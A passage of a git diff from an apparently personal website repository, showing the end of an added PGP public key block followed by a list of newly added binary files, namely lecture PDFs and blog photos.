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 +fkD4AJ4ywrUQgfcajnNUngpkwo80J5RBXQ== +=geRc +-----END PGP PUBLIC KEY BLOCK----- diff --git a/files/lectures/0zapftis.pdf b/files/lectures/0zapftis.pdf new file mode 100644 index 0000000..241f94b Binary files /dev/null and b/files/lectures/0zapftis.pdf differ diff --git a/files/lectures/Cryptocon-Keynote.pdf b/files/lectures/Cryptocon-Keynote.pdf new file mode 100644 index 0000000..96f9718 Binary files /dev/null and b/files/lectures/Cryptocon-Keynote.pdf differ diff --git a/files/lectures/Little Big Data.pdf b/files/lectures/Little Big Data.pdf new file mode 100644 index 0000000..cc1a218 Binary files /dev/null and b/files/lectures/Little Big Data.pdf differ diff --git a/files/lectures/TrackerFahrn.pdf b/files/lectures/TrackerFahrn.pdf new file mode 100644 index 0000000..6d91ee4 Binary files /dev/null and b/files/lectures/TrackerFahrn.pdf differ diff --git a/files/lectures/Wahlcomputer_Talk.pdf b/files/lectures/Wahlcomputer_Talk.pdf new file mode 100644 index 0000000..aefd1bb Binary files /dev/null and b/files/lectures/Wahlcomputer_Talk.pdf differ diff --git a/files/stats/blog/pics/100_0539.JPG b/files/stats/blog/pics/100_0539.JPG new file mode 100644 index 0000000..8fff051 Binary files /dev/null and b/files/stats/blog/pics/100_0539.JPG differ diff --git a/files/stats/blog/pics/Blumentopf.JPG b/files/stats/blog/pics/Blumentopf.JPG new file mode 100755 index 0000000..434b37b Binary files /dev/null and b/files/stats/blog/pics/Blumentopf.JPG differ diff --git a/files/stats/blog/pics/CCCB.jpg b/files/stats/blog/pics/CCCB.jpg new file mode 100644 index 0000000..5f8523a Binary files /dev/null and b/files/stats/blog/pics/CCCB.jpg differ diff --git a/files/stats/blog/pics/Dank_allen_Helfern.jpg b/files/stats/blog/pics/Dank_allen_Helfern.jpg new file mode 100644 index 0000000..3cc3394 Binary files /dev/null and b/files/stats/blog/pics/Dank_allen_Helfern.jpg differ diff --git a/files/stats/blog/pics/Drecksbotten.jpg b/files/stats/blog/pics/Drecksbotten.jpg new file mode 100755 index 0000000..0805456 Binary files /dev/null and b/files/stats/blog/pics/Drecksbotten.jpg differ diff --git a/files/stats/blog/pics/EinEis.jpg b/files/stats/blog/pics/EinEis.jpg new file mode 100644 index 0000000..0c673f2 Binary files /dev/null and b/files/stats/blog/pics/EinEis.jpg differ diff --git a/files/stats/blog/pics/Garderobe.jpg b/files/stats/blog/pics/Garderobe.jpg new file mode 100644 index 0000000..8d107a1 Binary files /dev/null and b/files/stats/blog/pics/Garderobe.jpg differ diff --git a/files/stats/blog/pics/GutenMorgen.jpg b/files/stats/blog/pics/GutenMorgen.jpg new file mode 100644 index 0000000..bbca155 Binary files /dev/null and b/files/stats/blog/pics/GutenMorgen.jpg differ diff --git a/files/stats/blog/pics/IMG_3571_k.jpg b/files/stats/blog/pics/IMG_3571_k.jpg new file mode 100644 index 0000000..5e4cfc6 Binary files /dev/null and b/files/stats/blog/pics/IMG_3571_k.jpg differ diff --git a/files/stats/blog/pics/Im-Herbst.jpg b/files/stats/blog/pics/Im-Herbst.jpg new file mode 100644 index 0000000..574d521 Binary files /dev/null and b/files/stats/blog/pics/Im-Herbst.jpg differ diff --git a/files/stats/blog/pics/Kapelle.jpg b/files/stats/blog/pics/Kapelle.jpg new file mode 100644 index 0000000..e6a21a2 Binary files /dev/null and b/files/stats/blog/pics/Kapelle.jpg differ diff --git a/files/stats/blog/pics/KaputtesAuto.jpg b/files/stats/blog/pics/KaputtesAuto.jpg new file mode 100644 index 0000000..401b3ed Binary files /dev/null and b/files/stats/blog/pics/KaputtesAuto.jpg differ diff --git a/files/stats/blog/pics/Lofts.jpg b/files/stats/blog/pics/Lofts.jpg new file mode 100644 index 0000000..31ccbd4 Binary files /dev/null and b/files/stats/blog/pics/Lofts.jpg differ diff --git a/files/stats/blog/pics/Maulhurpf.jpg b/files/stats/blog/pics/Maulhurpf.jpg new file mode 100755 index 0000000..6d9f11e Binary files /dev/null and b/files/stats/blog/pics/Maulhurpf.jpg differ diff --git a/files/stats/blog/pics/Planetarium.jpg b/files/stats/blog/pics/Planetarium.jpg new file mode 100644 index 0000000..99e7410 Binary files /dev/null and b/files/stats/blog/pics/Planetarium.jpg differ diff --git a/files/stats/blog/pics/Rollern.jpg b/files/stats/blog/pics/Rollern.jpg new file mode 100644 index 0000000..f43eae7 Binary files /dev/null and b/files/stats/blog/pics/Rollern.jpg differ diff --git a/files/stats/blog/pics/ShirtCam1.jpg b/files/stats/blog/pics/ShirtCam1.jpg new file mode 100644 index 0000000..599e74b Binary files /dev/null and b/files/stats/blog/pics/ShirtCam1.jpg differ diff --git a/files/stats/blog/pics/ShirtCam2.jpg b/files/stats/blog/pics/ShirtCam2.jpg new file mode 100644 index 0000000..f15f307 Binary files /dev/null and b/files/stats/blog/pics/ShirtCam2.jpg differ diff --git a/files/stats/blog/pics/Studium.jpg b/files/stats/blog/pics/Studium.jpg new file mode 100644 index 0000000..4756e63 Binary files /dev/null and b/files/stats/blog/pics/Studium.jpg differ diff --git a/files/stats/blog/pics/Volkspark.jpg b/files/stats/blog/pics/Volkspark.jpg new file mode 100644 index 0000000..bef377f Binary files /dev/null and b/files/stats/blog/pics/Volkspark.jpg differ diff --git a/files/stats/blog/pics/Wetter.jpg b/files/stats/blog/pics/Wetter.jpg new file mode 100644 index 0000000..8bdd30c Binary files /dev/null and b/files/stats/blog/pics/Wetter.jpg differ diff --git a/files/stats/blog/pics/Wiesen.jpg b/files/stats/blog/pics/Wiesen.jpg new file mode 100644 index 0000000..8e3ab92 Binary files /dev/null and b/files/stats/blog/pics/Wiesen.jpg differ diff --git a/files/stats/blog/pics/bola.jpg b/files/stats/blog/pics/bola.jpg new file mode 100644 index 0000000..8629f7e Binary files /dev/null and b/files/stats/blog/pics/bola.jpg differ diff --git a/files/stats/blog/pics/erste72.jpg b/files/stats/blog/pics/erste72.jpg new file mode 100755 index 0000000..8d7f4e7 Binary files /dev/null and b/files/stats/blog/pics/erste72.jpg differ diff --git a/files/stats/blog/pics/espresso-anden.jpg b/files/stats/blog/pics/espresso-anden.jpg new file mode 100644 index 0000000..5dd2c06 Binary files /dev/null and b/files/stats/blog/pics/espresso-anden.jpg differ diff --git a/files/stats/blog/pics/iCalShuffle.jpg b/files/stats/blog/pics/iCalShuffle.jpg new file mode 100644 index 0000000..fadfae0 Binary files /dev/null and b/files/stats/blog/pics/iCalShuffle.jpg differ diff --git a/files/stats/blog/pics/latte.jpg b/files/stats/blog/pics/latte.jpg new file mode 100644 index 0000000..61e106e Binary files /dev/null and b/files/stats/blog/pics/latte.jpg differ diff --git a/files/stats/blog/pics/los_penisheads.jpg b/files/stats/blog/pics/los_penisheads.jpg new file mode 100644 index 0000000..34d8048 Binary files /dev/null and b/files/stats/blog/pics/los_penisheads.jpg differ diff --git a/files/stats/blog/pics/los_sombreros.jpg b/files/stats/blog/pics/los_sombreros.jpg new file mode 100644 index 0000000..bb92d8e Binary files /dev/null and b/files/stats/blog/pics/los_sombreros.jpg differ diff --git a/files/stats/blog/pics/phNeutral.jpg b/files/stats/blog/pics/phNeutral.jpg new file mode 100644 index 0000000..0fe8a64 Binary files /dev/null and b/files/stats/blog/pics/phNeutral.jpg differ diff --git a/files/stats/blog/pics/stoertaste.jpg b/files/stats/blog/pics/stoertaste.jpg new file mode 100644 